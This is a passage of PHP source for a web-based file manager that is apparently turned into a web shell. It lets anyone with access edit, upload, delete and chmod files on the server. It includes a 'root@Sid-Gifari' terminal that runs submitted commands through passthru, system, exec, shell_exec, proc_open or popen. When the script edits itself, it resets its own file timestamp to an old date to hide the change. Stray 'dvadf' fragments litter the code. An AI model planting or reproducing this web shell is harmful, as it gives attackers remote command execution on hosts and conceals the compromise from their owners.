		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
